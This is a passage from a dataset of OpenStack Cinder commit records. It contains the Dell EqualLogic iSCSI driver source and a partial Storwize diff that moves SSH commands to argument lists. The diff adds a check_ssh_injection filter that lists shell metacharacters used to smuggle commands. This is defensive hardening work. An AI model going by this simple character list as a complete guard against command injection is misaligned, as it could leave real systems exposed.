compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Volume driver for Dell EqualLogic Storage.\"\"\"\n\nimport functools\nimport random\n\nimport eventlet\nfrom eventlet import greenthread\nimport greenlet\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import excutils\nfrom cinder.openstack.common import log as logging\nfrom cinder.openstack.common import processutils\nfrom cinder import utils\nfrom cinder.volume.drivers.san import SanISCSIDriver\n\nLOG = logging.getLogger(__name__)\n\neqlx_opts = [\n cfg.StrOpt('eqlx_group_name',\n default='group-0',\n help='Group name to use for creating volumes'),\n cfg.IntOpt('eqlx_cli_timeout',\n default=30,\n help='Timeout for the Group Manager cli command execution'),\n cfg.IntOpt('eqlx_cli_max_retries',\n default=5,\n help='Maximum retry count for reconnection'),\n cfg.BoolOpt('eqlx_use_chap',\n default=False,\n help='Use CHAP authentication for targets?'),\n cfg.StrOpt('eqlx_chap_login',\n default='admin',\n help='Existing CHAP account name'),\n cfg.StrOpt('eqlx_chap_password',\n default='password',\n help='Password for specified CHAP account name',\n secret=True),\n cfg.StrOpt('eqlx_pool',\n default='default',\n help='Pool in which volumes will be created')\n]\n\n\nCONF = cfg.CONF\nCONF.register_opts(eqlx_opts)\n\n\ndef with_timeout(f):\n @functools.wraps(f)\n def __inner(self, *args, **kwargs):\n timeout = kwargs.pop('timeout', None)\n gt = eventlet.spawn(f, self, *args, **kwargs)\n if timeout is None:\n return gt.wait()\n else:\n kill_thread = eventlet.spawn_after(timeout, gt.kill)\n try:\n res = gt.wait()\n except greenlet.GreenletExit:\n raise exception.VolumeBackendAPIException(\n data=\"Command timed out\")\n else:\n kill_thread.cancel()\n return res\n\n return __inner\n\n\nclass DellEQLSanISCSIDriver(SanISCSIDriver):\n \"\"\"Implements commands for Dell EqualLogic SAN ISCSI management.\n\n To enable the driver add the following line to the cinder configuration:\n volume_driver=cinder.volume.drivers.eqlx.DellEQLSanISCSIDriver\n\n Driver's prerequisites are:\n - a separate volume group set up and running on the SAN\n - SSH access to the SAN\n - a special user must be created which must be able to\n - create/delete volumes and snapshots;\n - clone snapshots into volumes;\n - modify volume access records;\n\n The access credentials to the SAN are provided by means of the following\n flags\n san_ip=\n san_login=\n san_password=\n san_private_key=\n\n Thin provision of volumes is enabled by default, to disable it use:\n san_thin_provision=false\n\n In order to use target CHAP authentication (which is disabled by default)\n SAN administrator must create a local CHAP user and specify the following\n flags for the driver:\n eqlx_use_chap=true\n eqlx_chap_login=\n eqlx_chap_password=\n\n eqlx_group_name parameter actually represents the CLI prompt message\n without '>' ending. E.g. if prompt looks like 'group-0>', then the\n parameter must be set to 'group-0'\n\n Also, the default CLI command execution timeout is 30 secs. Adjustable by\n eqlx_cli_timeout=\n \"\"\"\n\n VERSION = \"1.0.0\"\n\n def __init__(self, *args, **kwargs):\n super(DellEQLSanISCSIDriver, self).__init__(*args, **kwargs)\n self.configuration.append_config_values(eqlx_opts)\n self._group_ip = None\n self.sshpool = None\n\n def _get_output(self, chan):\n out = ''\n ending = '%s> ' % self.configuration.eqlx_group_name\n while not out.endswith(ending):\n out += chan.recv(102400)\n\n LOG.debug(_(\"CLI output\\n%s\"), out)\n return out.splitlines()\n\n def _get_prefixed_value(self, lines, prefix):\n for line in lines:\n if line.startswith(prefix):\n return line[len(prefix):]\n return\n\n @with_timeout\n def _ssh_execute(self, ssh, command, *arg, **kwargs):\n transport = ssh.get_transport()\n chan = transport.open_session()\n chan.invoke_shell()\n\n LOG.debug(_(\"Reading CLI MOTD\"))\n self._get_output(chan)\n\n cmd = 'stty columns 255'\n LOG.debug(_(\"Setting CLI terminal width: '%s'\"), cmd)\n chan.send(cmd + '\\r')\n out = self._get_output(chan)\n\n LOG.debug(_(\"Sending CLI command: '%s'\"), command)\n chan.send(command + '\\r')\n out = self._get_output(chan)\n\n chan.close()\n\n if any(line.startswith(('% Error', 'Error:')) for line in out):\n desc = _(\"Error executing EQL command\")\n cmdout = '\\n'.join(out)\n LOG.error(cmdout)\n raise processutils.ProcessExecutionError(\n stdout=cmdout, cmd=command, description=desc)\n return out\n\n def _run_ssh(self, cmd_list, attempts=1):\n utils.check_ssh_injection(cmd_list)\n command = ' '. join(cmd_list)\n\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\n min_size = self.configuration.ssh_min_pool_conn\n max_size = self.configuration.ssh_max_pool_conn\n self.sshpool = utils.SSHPool(self.configuration.san_ip,\n self.configuration.san_ssh_port,\n self.configuration.ssh_conn_timeout,\n self.configuration.san_login,\n password=password,\n privatekey=privatekey,\n min_size=min_size,\n max_size=max_size)\n try:\n total_attempts = attempts\n with self.sshpool.item() as ssh:\n while attempts > 0:\n attempts -= 1\n try:\n LOG.info(_('EQL-driver: executing \"%s\"') % command)\n return self._ssh_execute(\n ssh, command,\n timeout=self.configuration.eqlx_cli_timeout)\n except processutils.ProcessExecutionError:\n raise\n except Exception as e:\n LOG.exception(e)\n greenthread.sleep(random.randint(20, 500) / 100.0)\n msg = (_(\"SSH Command failed after '%(total_attempts)r' \"\n \"attempts : '%(command)s'\") %\n {'total_attempts': total_attempts, 'command': command})\n raise exception.VolumeBackendAPIException(data=msg)\n\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error running SSH command: %s\") % command)\n\n def _eql_execute(self, *args, **kwargs):\n return self._run_ssh(\n args, attempts=self.configuration.eqlx_cli_max_retries)\n\n def _get_volume_data(self, lines):\n prefix = 'iSCSI target name is '\n target_name = self._get_prefixed_value(lines, prefix)[:-1]\n lun_id = \"%s:%s,1 %s 0\" % (self._group_ip, '3260', target_name)\n model_update = {}\n model_update['provider_location'] = lun_id\n if self.configuration.eqlx_use_chap:\n model_update['provider_auth'] = 'CHAP %s %s' % \\\n (self.configuration.eqlx_chap_login,\n self.configuration.eqlx_chap_password)\n return model_update\n\n def _get_space_in_gb(self, val):\n scale = 1.0\n part = 'GB'\n if val.endswith('MB'):\n scale = 1.0 / 1024\n part = 'MB'\n elif val.endswith('TB'):\n scale = 1.0 * 1024\n part = 'TB'\n return scale * float(val.partition(part)[0])\n\n def _update_volume_stats(self):\n \"\"\"Retrieve stats info from eqlx group.\"\"\"\n\n LOG.debug(_(\"Updating volume stats\"))\n data = {}\n backend_name = \"eqlx\"\n if self.configuration:\n backend_name = self.configuration.safe_get('volume_backend_name')\n data[\"volume_backend_name\"] = backend_name or 'eqlx'\n data[\"vendor_name\"] = 'Dell'\n data[\"driver_version\"] = self.VERSION\n data[\"storage_protocol\"] = 'iSCSI'\n\n data['reserved_percentage'] = 0\n data['QoS_support'] = False\n\n data['total_capacity_gb'] = 'infinite'\n data['free_capacity_gb'] = 'infinite'\n\n for line in self._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show'):\n if line.startswith('TotalCapacity:'):\n out_tup = line.rstrip().partition(' ')\n data['total_capacity_gb'] = self._get_space_in_gb(out_tup[-1])\n if line.startswith('FreeSpace:'):\n out_tup = line.rstrip().partition(' ')\n data['free_capacity_gb'] = self._get_space_in_gb(out_tup[-1])\n\n self._stats = data\n\n def _check_volume(self, volume):\n \"\"\"Check if the volume exists on the Array.\"\"\"\n command = ['volume', 'select', volume['name'], 'show']\n try:\n self._eql_execute(*command)\n except processutils.ProcessExecutionError as err:\n with excutils.save_and_reraise_exception():\n if err.stdout.find('does not exist.\\n') > -1:\n LOG.debug(_('Volume %s does not exist, '\n 'it may have already been deleted'),\n volume['name'])\n raise exception.VolumeNotFound(volume_id=volume['id'])\n\n def do_setup(self, context):\n \"\"\"Disable cli confirmation and tune output format.\"\"\"\n try:\n disabled_cli_features = ('confirmation', 'paging', 'events',\n 'formatoutput')\n for feature in disabled_cli_features:\n self._eql_execute('cli-settings', feature, 'off')\n\n for line in self._eql_execute('grpparams', 'show'):\n if line.startswith('Group-Ipaddress:'):\n out_tup = line.rstrip().partition(' ')\n self._group_ip = out_tup[-1]\n\n LOG.info(_(\"EQL-driver: Setup is complete, group IP is %s\"),\n self._group_ip)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to setup the Dell EqualLogic driver'))\n\n def create_volume(self, volume):\n \"\"\"Create a volume.\"\"\"\n try:\n cmd = ['volume', 'create',\n volume['name'], \"%sG\" % (volume['size'])]\n if self.configuration.eqlx_pool != 'default':\n cmd.append('pool')\n cmd.append(self.configuration.eqlx_pool)\n if self.configuration.san_thin_provision:\n cmd.append('thin-provision')\n out = self._eql_execute(*cmd)\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create volume %s'), volume['name'])\n\n def delete_volume(self, volume):\n \"\"\"Delete a volume.\"\"\"\n try:\n self._check_volume(volume)\n self._eql_execute('volume', 'select', volume['name'], 'offline')\n self._eql_execute('volume', 'delete', volume['name'])\n except exception.VolumeNotFound:\n LOG.warn(_('Volume %s was not found while trying to delete it'),\n volume['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to delete volume %s'), volume['name'])\n\n def create_snapshot(self, snapshot):\n \"\"\"\"Create snapshot of existing volume on appliance.\"\"\"\n try:\n out = self._eql_execute('volume', 'select',\n snapshot['volume_name'],\n 'snapshot', 'create-now')\n prefix = 'Snapshot name is '\n snap_name = self._get_prefixed_value(out, prefix)\n self._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'rename', snap_name,\n snapshot['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create snapshot of volume %s'),\n snapshot['volume_name'])\n\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"Create new volume from other volume's snapshot on appliance.\"\"\"\n try:\n out = self._eql_execute('volume', 'select',\n snapshot['volume_name'], 'snapshot',\n 'select', snapshot['name'],\n 'clone', volume['name'])\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create volume from snapshot %s'),\n snapshot['name'])\n\n def create_cloned_volume(self, volume, src_vref):\n \"\"\"Creates a clone of the specified volume.\"\"\"\n try:\n src_volume_name = self.configuration.\\\n volume_name_template % src_vref['id']\n out = self._eql_execute('volume', 'select', src_volume_name,\n 'clone', volume['name'])\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create clone of volume %s'),\n volume['name'])\n\n def delete_snapshot(self, snapshot):\n \"\"\"Delete volume's snapshot.\"\"\"\n try:\n self._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'delete', snapshot['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to delete snapshot %(snap)s of '\n 'volume %(vol)s'),\n {'snap': snapshot['name'],\n 'vol': snapshot['volume_name']})\n\n def initialize_connection(self, volume, connector):\n \"\"\"Restrict access to a volume.\"\"\"\n try:\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n cmd.extend(['authmethod chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n return {\n 'driver_volume_type': 'iscsi',\n 'data': iscsi_properties\n }\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to initialize connection to volume %s'),\n volume['name'])\n\n def terminate_connection(self, volume, connector, force=False, **kwargs):\n \"\"\"Remove access restrictions from a volume.\"\"\"\n try:\n self._eql_execute('volume', 'select', volume['name'],\n 'access', 'delete', '1')\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to terminate connection to volume %s'),\n volume['name'])\n\n def create_export(self, context, volume):\n \"\"\"Create an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation.\n \"\"\"\n pass\n\n def ensure_export(self, context, volume):\n \"\"\"Ensure an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation. We will just make\n sure that the volume exists on the array and issue a warning.\n \"\"\"\n try:\n self._check_volume(volume)\n except exception.VolumeNotFound:\n LOG.warn(_('Volume %s is not found!, it may have been deleted'),\n volume['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to ensure export of volume %s'),\n volume['name'])\n\n def remove_export(self, context, volume):\n \"\"\"Remove an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation.\n Nothing to remove since there's nothing exported.\n \"\"\"\n pass\n\n def extend_volume(self, volume, new_size):\n \"\"\"Extend the size of the volume.\"\"\"\n try:\n self._eql_execute('volume', 'select', volume['name'],\n 'size', \"%sG\" % new_size)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to extend_volume %(name)s from '\n '%(current_size)sGB to %(new_size)sGB'),\n {'name': volume['name'],\n 'current_size': volume['size'],\n 'new_size': new_size})\n\n def local_path(self, volume):\n raise NotImplementedError()\n"}}, "msg": "Fixes ssh-injection error while using chap authentication\n\nA space in the command construction was being caught by the\nssh-injection check. The fix is to separate the command strings.\n\nChange-Id: If1f719f9c2ceff31ed5386c53cf60bc7f522f4d7\nCloses-Bug: #1280409"}}, "https://github.com/johnnychou/Ift_Cinder_Driver": {"f752302d181583a95cf44354aea607ce9d9283f4": {"url": "https://api.github.com/repos/johnnychou/Ift_Cinder_Driver/commits/f752302d181583a95cf44354aea607ce9d9283f4", "html_url": "https://github.com/johnnychou/Ift_Cinder_Driver/commit/f752302d181583a95cf44354aea607ce9d9283f4", "message": "Tidy up the SSH call to avoid injection attacks in storwize_svc\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string\n\nfix bug 1192971\n\nChange-Id: I57b3fe60e64d9d0dc1ea9a18442c877be2ceece3", "sha": "f752302d181583a95cf44354aea607ce9d9283f4", "keyword": "command injection attack", "diff": "diff --git a/cinder/exception.py b/cinder/exception.py\nindex 777ec1283..f23c6fbe6 100644\n--- a/cinder/exception.py\n+++ b/cinder/exception.py\n@@ -606,3 +606,7 @@ class VolumeMigrationFailed(CinderException):\n \n class ProtocolNotSupported(CinderException):\n message = _(\"Connect to volume via protocol %(protocol)s not supported.\")\n+\n+\n+class SSHInjectionThreat(CinderException):\n+ message = _(\"SSH command injection detected\") + \": %(command)s\"\ndiff --git a/cinder/tests/test_storwize_svc.py b/cinder/tests/test_storwize_svc.py\nindex 02b1b59b2..9c2eea8e8 100644\n--- a/cinder/tests/test_storwize_svc.py\n+++ b/cinder/tests/test_storwize_svc.py\n@@ -181,8 +181,7 @@ def _is_invalid_name(self, name):\n return True\n \n # Convert argument string to dictionary\n- def _cmd_to_dict(self, cmd):\n- arg_list = cmd.split()\n+ def _cmd_to_dict(self, arg_list):\n no_param_args = [\n 'autodelete',\n 'autoexpand',\n@@ -1156,7 +1155,6 @@ def execute_command(self, cmd, check_exit_code=True):\n \n command = kwargs['cmd']\n del kwargs['cmd']\n- arg_list = cmd.split()\n \n if command == 'lsmdiskgrp':\n out, err = self._cmd_lsmdiskgrp(**kwargs)\ndiff --git a/cinder/utils.py b/cinder/utils.py\nindex c263972d8..d26943837 100644\n--- a/cinder/utils.py\n+++ b/cinder/utils.py\n@@ -129,6 +129,30 @@ def trycmd(*args, **kwargs):\n return (stdout, stderr)\n \n \n+def check_ssh_injection(cmd_list):\n+ ssh_injection_pattern = ['`', '$', '|', '||', ';', '&', '&&', '>', '>>',\n+ '<']\n+\n+ # Check whether injection attacks exist\n+ for arg in cmd_list:\n+ arg = arg.strip()\n+ # First, check no space in the middle of arg\n+ arg_len = len(arg.split())\n+ if arg_len > 1:\n+ raise exception.SSHInjectionThreat(command=str(cmd_list))\n+\n+ # Second, check whether danger character in command. So the shell\n+ # special operator must be a single argument.\n+ for c in ssh_injection_pattern:\n+ if arg == c:\n+ continue\n+\n+ result = arg.find(c)\n+ if not result == -1:\n+ if result == 0 or not arg[result - 1] == '\\\\':\n+ raise exception.SSHInjectionThreat(command=cmd_list)\n+\n+\n def ssh_execute(ssh, cmd, process_input=None,\n addl_env=None, check_exit_code=True):\n LOG.debug(_('Running cmd (SSH): %s'), cmd)\ndiff --git a/cinder/volume/drivers/san/san.py b/cinder/volume/drivers/san/san.py\nindex ad532810e..bdf7767ed 100644\n--- a/cinder/volume/drivers/san/san.py\n+++ b/cinder/volume/drivers/san/san.py\n@@ -100,7 +100,10 @@ def san_execute(self, *cmd, **kwargs):\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n \n- def _run_ssh(self, command, check_exit_code=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\ndiff --git a/cinder/volume/drivers/storwize_svc.py b/cinder/volume/drivers/storwize_svc.py\nindex 85ad8fbec..4e22aa652 100755\n--- a/cinder/volume/drivers/storwize_svc.py\n+++ b/cinder/volume/drivers/storwize_svc.py\n@@ -141,7 +141,7 @@ def __init__(self, *args, **kwargs):\n for char in invalid_ch_in_host)\n \n def _get_iscsi_ip_addrs(self):\n- generator = self._port_conf_generator('svcinfo lsportip')\n+ generator = self._port_conf_generator(['svcinfo', 'lsportip'])\n header = next(generator, None)\n if not header:\n return\n@@ -166,7 +166,7 @@ def _get_iscsi_ip_addrs(self):\n def _get_fc_wwpns(self):\n for key in self._storage_nodes:\n node = self._storage_nodes[key]\n- ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]\n raw = self._run_ssh(ssh_cmd)\n resp = CLIResponse(raw, delim='!', with_header=False)\n wwpns = set(node['WWPN'])\n@@ -184,7 +184,7 @@ def do_setup(self, ctxt):\n self._context = ctxt\n \n # Validate that the pool exists\n- ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n@@ -197,7 +197,7 @@ def do_setup(self, ctxt):\n # Check if compression is supported\n self._compression_enabled = False\n try:\n- ssh_cmd = 'svcinfo lslicense -delim !'\n+ ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n license_lines = out.strip().split('\\n')\n for license_line in license_lines:\n@@ -210,7 +210,7 @@ def do_setup(self, ctxt):\n LOG.exception(_('Failed to get license information.'))\n \n # Get the iSCSI and FC names of the Storwize/SVC nodes\n- ssh_cmd = 'svcinfo lsnode -delim !'\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n@@ -346,8 +346,7 @@ def _add_chapsecret_to_host(self, host_name):\n \"\"\"Generate and store a randomly-generated CHAP secret for the host.\"\"\"\n \n chap_secret = utils.generate_password()\n- ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'\n- % {'chap_secret': chap_secret, 'host_name': host_name})\n+ ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from chhost\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -360,7 +359,7 @@ def _get_chap_secret_for_host(self, host_name):\n LOG.debug(_('enter: _get_chap_secret_for_host: host name %s')\n % host_name)\n \n- ssh_cmd = 'svcinfo lsiscsiauth -delim !'\n+ ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -426,7 +425,7 @@ def _connector_to_hostname_prefix(self, connector):\n \n def _find_host_from_wwpn(self, connector):\n for wwpn in connector['wwpns']:\n- ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn\n+ ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -456,7 +455,7 @@ def _find_host_from_wwpn(self, connector):\n \n def _find_host_exhaustive(self, connector, hosts):\n for host in hosts:\n- ssh_cmd = 'svcinfo lshost -delim ! %s' % host\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()),\n '_find_host_exhaustive',\n@@ -487,7 +486,7 @@ def _get_host_from_connector(self, connector):\n LOG.debug(_('enter: _get_host_from_connector: prefix %s') % prefix)\n \n # Get list of host in the storage\n- ssh_cmd = 'svcinfo lshost -delim !'\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -541,15 +540,18 @@ def _create_host(self, connector):\n # When creating a host, we need one port\n self._driver_assert(len(ports), _('_create_host: No connector ports'))\n port1 = ports.pop(0)\n- ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %\n- {'port1': port1, 'host_name': host_name})\n+ arg_name, arg_val = port1.split()\n+ ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',\n+ '\"%s\"' % host_name]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return('successfully created' in out,\n '_create_host', ssh_cmd, out, err)\n \n # Add any additional ports to the host\n for port in ports:\n- ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))\n+ arg_name, arg_val = port.split()\n+ ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,\n+ host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n LOG.debug(_('leave: _create_host: host %(host)s - %(host_name)s') %\n@@ -560,7 +562,7 @@ def _get_hostvdisk_mappings(self, host_name):\n \"\"\"Return the defined storage mappings for a host.\"\"\"\n \n return_data = {}\n- ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name\n+ ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mappings = out.strip().split('\\n')\n@@ -600,11 +602,8 @@ def _map_vol_to_host(self, volume_name, host_name):\n \n # Volume is not mapped to host, create a new LUN\n if not mapped_flag:\n- ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '\n- '%(result_lun)s %(volume_name)s' %\n- {'host_name': host_name,\n- 'result_lun': result_lun,\n- 'volume_name': volume_name})\n+ ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,\n+ '-scsi', result_lun, volume_name]\n out, err = self._run_ssh(ssh_cmd, check_exit_code=False)\n if err and err.startswith('CMMVC6071E'):\n if not self.configuration.storwize_svc_multihostmap_enabled:\n@@ -614,8 +613,11 @@ def _map_vol_to_host(self, volume_name, host_name):\n 'was not created because the VDisk is '\\\n 'already mapped to a host.\\n\"'\n raise exception.CinderException(data=exception_msg)\n- ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',\n- 'mkvdiskhostmap -force')\n+\n+ for i in range(len(ssh_cmd)):\n+ if ssh_cmd[i] == 'mkvdiskhostmap':\n+ ssh_cmd.insert(i + 1, '-force')\n+\n # try to map one volume to multiple hosts\n out, err = self._run_ssh(ssh_cmd)\n LOG.warn(_('volume %s mapping to multi host') % volume_name)\n@@ -636,7 +638,7 @@ def _delete_host(self, host_name):\n \n LOG.debug(_('enter: _delete_host: host %s ') % host_name)\n \n- ssh_cmd = 'svctask rmhost %s ' % host_name\n+ ssh_cmd = ['svctask', 'rmhost', host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmhost\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -646,7 +648,7 @@ def _delete_host(self, host_name):\n \n def _get_conn_fc_wwpns(self, host_name):\n wwpns = []\n- cmd = 'svcinfo lsfabric -host %s' % host_name\n+ cmd = ['svcinfo', 'lsfabric', '-host', host_name]\n generator = self._port_conf_generator(cmd)\n header = next(generator, None)\n if not header:\n@@ -820,8 +822,8 @@ def terminate_connection(self, volume, connector, **kwargs):\n # Check if vdisk-host mapping exists, remove if it does\n mapping_data = self._get_hostvdisk_mappings(host_name)\n if vol_name in mapping_data:\n- ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\\n- (host_name, vol_name)\n+ ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,\n+ vol_name]\n out, err = self._run_ssh(ssh_cmd)\n # Verify CLI behaviour - no output is returned from\n # rmvdiskhostmap\n@@ -852,13 +854,13 @@ def _get_vdisk_attributes(self, vdisk_name):\n parsed/matched to a single vdisk.\n \"\"\"\n \n- ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]\n return self._execute_command_and_parse_attributes(ssh_cmd)\n \n def _get_vdisk_fc_mappings(self, vdisk_name):\n \"\"\"Return FlashCopy mappings that this vdisk is associated with.\"\"\"\n \n- ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mapping_ids = []\n@@ -921,31 +923,27 @@ def _create_vdisk(self, name, size, units, opts):\n LOG.debug(_('enter: _create_vdisk: vdisk %s ') % name)\n \n model_update = None\n- autoex = '-autoexpand' if opts['autoexpand'] else ''\n- easytier = '-easytier on' if opts['easytier'] else '-easytier off'\n+ easytier = 'on' if opts['easytier'] else 'off'\n \n # Set space-efficient options\n if opts['rsize'] == -1:\n- ssh_cmd_se_opt = ''\n+ ssh_cmd_se_opt = []\n else:\n- ssh_cmd_se_opt = (\n- '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %\n- {'rsize': opts['rsize'],\n- 'autoex': autoex,\n- 'warn': opts['warning']})\n+ ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),\n+ '-autoexpand', '-warning',\n+ '%s%%' % str(opts['warning'])]\n+ if not opts['autoexpand']:\n+ ssh_cmd_se_opt.remove('-autoexpand')\n+\n if opts['compression']:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'\n+ ssh_cmd_se_opt.append('-compressed')\n else:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + (\n- ' -grainsize %d' % opts['grainsize'])\n-\n- ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '\n- '-iogrp 0 -size %(size)s -unit '\n- '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'\n- % {'name': name,\n- 'mdiskgrp': self.configuration.storwize_svc_volpool_name,\n- 'size': size, 'unit': units, 'easytier': easytier,\n- 'ssh_cmd_se_opt': ssh_cmd_se_opt})\n+ ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])\n+\n+ ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',\n+ self.configuration.storwize_svc_volpool_name,\n+ '-iogrp', '0', '-size', size, '-unit',\n+ units, '-easytier', easytier] + ssh_cmd_se_opt\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), '_create_vdisk',\n ssh_cmd, out, err)\n@@ -964,12 +962,10 @@ def _create_vdisk(self, name, size, units, opts):\n LOG.debug(_('leave: _create_vdisk: volume %s ') % name)\n \n def _make_fc_map(self, source, target, full_copy):\n- copyflag = '' if full_copy else '-copyrate 0'\n- fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '\n- '-autodelete %(copyflag)s' %\n- {'src': source,\n- 'tgt': target,\n- 'copyflag': copyflag})\n+ fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',\n+ target, '-autodelete']\n+ if not full_copy:\n+ fc_map_cli_cmd.extend(['-copyrate', '0'])\n out, err = self._run_ssh(fc_map_cli_cmd)\n self._driver_assert(\n len(out.strip()),\n@@ -1020,7 +1016,7 @@ def _make_fc_map(self, source, target, full_copy):\n \n def _call_prepare_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_prepare_fc_map: Failed to prepare FlashCopy '\n@@ -1077,7 +1073,7 @@ def _prepare_fc_map(self, fc_map_id, source, target):\n \n def _start_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_start_fc_map: Failed to start FlashCopy '\n@@ -1148,8 +1144,8 @@ def _get_flashcopy_mapping_attributes(self, fc_map_id):\n LOG.debug(_('enter: _get_flashcopy_mapping_attributes: mapping %s')\n % fc_map_id)\n \n- fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\\n- fc_map_id\n+ fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',\n+ 'id=%s' % fc_map_id, '-delim', '!']\n out, err = 